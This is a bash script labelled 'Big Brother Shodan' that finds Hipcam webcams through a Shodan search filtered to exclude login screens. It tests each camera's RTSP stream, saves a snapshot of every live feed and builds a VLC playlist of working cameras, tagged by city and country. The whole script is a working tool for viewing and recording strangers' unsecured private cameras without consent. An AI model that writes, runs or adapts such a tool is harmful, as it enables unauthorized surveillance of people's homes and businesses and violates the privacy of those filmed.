#!/bin/bash

RANDOM_BANNER=$(shuf -i1-3 -n1)

if [[ $RANDOM_BANNER -eq 1 ]]; then

cat << "EOF"
 .           ..         .           .       .           .           .
      .         .            .          .       .
            .         ..xxxxxxxxxx....               .       .             .
    .             MWMWMWWMWMWMWMWMWMWMWMWMW                       .
              IIIIMWMWMWMWMWMWMWMWMWMWMWMWMWMttii:        .           .
 .      IIYVVXMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWxx...         .           .
     IWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMx..
   IIWMWMWMWMWMWMWMWMWBY%ZACH%AND%OWENMWMWMWMWMWMWMWMWMWMWMWMWMx..        .
    ""MWMWMWMWMWM"""""""".  .:..   ."""""MWMWMWMWMWMWMWMWMWMWMWMWMWti.
 .     ""   . `  .: . :. : .  . :.  .  . . .  """"MWMWMWMWMWMWMWMWMWMWMWMWMti=
        . .   :` . :   .  .'.' '....xxxxx...,'. '   ' ."""YWMWMWMWMWMWMWMWMWMW+
     ; . ` .  . : . .' :  . ..XXXXXXXXXXXXXXXXXXXXx.    `     . "YWMWMWMWMWMWMW
.    .  .  .    . .   .  ..XXXXXXXXWWWWWWWWWWWWWWWWXXXX.  .     .     """""""
        ' :  : . : .  ...XXXXXWWW"   W88N88@888888WWWWWXX.   .   .       . .
   . ' .    . :   ...XXXXXXWWW"    M88N88GGGGGG888^8M "WMBX.          .   ..  :
         :     ..XXXXXXXXWWW"     M88888WWRWWWMW8oo88M   WWMX.     .    :    .
           "XXXXXXXXXXXXWW"       WN8888WWWWW  W8@@@8M    BMBRX.         .  : :
  .       XXXXXXXX=MMWW":  .      W8N888WWWWWWWW88888W      XRBRXX.  .       .
     ....  ""XXXXXMM::::. .        W8@889WWWWWM8@8N8W      . . :RRXx.    .
         ``...'''  MMM::.:.  .      W888N89999888@8W      . . ::::"RXV    .  :
 .       ..'''''      MMMm::.  .      WW888N88888WW     .  . mmMMMMMRXx
      ..' .            ""MMmm .  .       WWWWWWW   . :. :,miMM"""  : ""`    .
   .                .       ""MMMMmm . .  .  .   ._,mMMMM"""  :  ' .  :
               .                  ""MMMMMMMMMMMMM""" .  : . '   .        .
          .              .     .    .                      .         .
.                                         .          .         .

------------------------------------------------
EOF
fi

#This ASCII pic can be found at
#https://asciiart.website/index.php?art=people/body%20parts/eyes

if [[ $RANDOM_BANNER -eq 2 ]]; then
cat << "EOF"
d8888b. d888888b  d888b
88  `8D   `88'   88' Y8b
88oooY'    88    88
88~~~b.    88    88  ooo
88   8D   .88.   88. ~8~
Y8888P' Y888888P  Y888P


d8888b. d8888b.  .d88b.  d888888b db   db d88888b d8888b.
88  `8D 88  `8D .8P  Y8. `~~88~~' 88   88 88'     88  `8D
88oooY' 88oobY' 88    88    88    88ooo88 88ooooo 88oobY'
88~~~b. 88`8b   88    88    88    88~~~88 88~~~~~ 88`8b
88   8D 88 `88. `8b  d8'    88    88   88 88.     88 `88.
Y8888P' 88   YD  `Y88P'     YP    YP   YP Y88888P 88   YD


.d8888. db   db  .d88b.  d8888b.  .d8b.  d8b   db
88'  YP 88   88 .8P  Y8. 88  `8D d8' `8b 888o  88
`8bo.   88ooo88 88    88 88   88 88ooo88 88V8o 88
  `Y8b. 88~~~88 88    88 88   88 88~~~88 88 V8o88
db   8D 88   88 `8b  d8' 88  .8D 88   88 88  V888
`8888Y' YP   YP  `Y88P'  Y8888D' YP   YP VP   V8P
------------------------------------------------
EOF
fi

if [[ $RANDOM_BANNER -eq 3 ]]; then
cat << "EOF"
 ____
/\  _`\    __
\ \ \L\ \ /\_\      __
 \ \  _ <'\/\ \   /'_ `\
  \ \ \L\ \\ \ \ /\ \L\ \
   \ \____/ \ \_\\ \____ \
    \/___/   \/_/ \/___L\ \
                    /\____/
                    \_/__/
 ____                   __     __
/\  _`\                /\ \__ /\ \
\ \ \L\ \   _ __   ___ \ \ ,_\\ \ \___       __   _ __
 \ \  _ <' /\`'__\/ __`\\ \ \/ \ \  _ `\   /'__`\/\`'__\
  \ \ \L\ \\ \ \//\ \L\ \\ \ \_ \ \ \ \ \ /\  __/\ \ \/
   \ \____/ \ \_\\ \____/ \ \__\ \ \_\ \_\\ \____\\ \_\
    \/___/   \/_/ \/___/   \/__/  \/_/\/_/ \/____/ \/_/


 ____     __                   __
/\  _`\  /\ \                 /\ \
\ \,\L\_\\ \ \___      ___    \_\ \      __       ___
 \/_\__ \ \ \  _ `\   / __`\  /'_` \   /'__`\   /' _ `\
   /\ \L\ \\ \ \ \ \ /\ \L\ \/\ \L\ \ /\ \L\.\_ /\ \/\ \
   \ `\____\\ \_\ \_\\ \____/\ \___,_\\ \__/.\_\\ \_\ \_\
    \/_____/ \/_/\/_/ \/___/  \/__,_ / \/__/\/_/ \/_/\/_/
------------------------------------------------
EOF
fi

rm view_list.m3u ip_list.txt &> /dev/null
mkdir snapshots &> /dev/null

if [[ $1 != "" ]]; then
	shodan download --limit 100 webcams.json.gz "hipcam port:554 screenshot.label:webcam -screenshot.label:login country:$1"
else
	shodan download --limit 100 webcams.json.gz "hipcam port:554 screenshot.label:webcam -screenshot.label:login"
fi

gzip -dfk webcams.json.gz
shodan parse --fields ip_str,port,location.city,location.country_name webcams.json --separator "|" --filters port:554 > ip_list.txt

echo -e "IP:\t\tWorking\tSpeed"

cat ip_list.txt | while read LINE
do
	IP=$(echo $LINE | cut -d'|' -f1)
	CITY=$(echo $LINE | cut -d'|' -f3)
	COUNTRY=$(echo $LINE | cut -d'|' -f4)

	HTTP_CODE=$(curl --connect-timeout 3 --max-time 3 --silent -L -o /dev/null -w "%{http_code}" "rtsp://$IP:554/11")
	if [[ $HTTP_CODE -eq 200 ]]; then
			HTTP_TIME=$(curl --connect-timeout 3 --max-time 3 --silent -L -o /dev/null -w "%{time_starttransfer}" "rtsp://$IP:554/11" | cut -c1-3)
			echo -e "$IP\t OK\t $HTTP_TIME"
			(timeout 4 ffmpeg -hide_banner -loglevel error -nostats -rtsp_transport tcp -i rtsp://$IP:554/11 -timeout 3 -y -f image2 -vframes 1 -pix_fmt yuvj420p snapshots/$IP.jpeg &> /dev/null) &
			echo "#EXTINF:-0, $IP - $CITY - $COUNTRY - $HTTP_TIME" >> view_list.m3u
			echo "rtsp://$IP:554/11" >> view_list.m3u
		else
			echo -e "$IP\t FAIL"
	fi
done

LOADED=$(cat ip_list.txt | grep -oE "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" | sort | uniq | wc -l | awk '{print $1}')
ACTIVE=$(cat view_list.m3u | grep -oE "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" | sort | uniq | wc -l | awk '{print $1}')

echo ""
echo "Loaded Webcams: $LOADED"
echo "Active Webcams: $ACTIVE"

#vlc --playlist-autostart view_list.m3u &
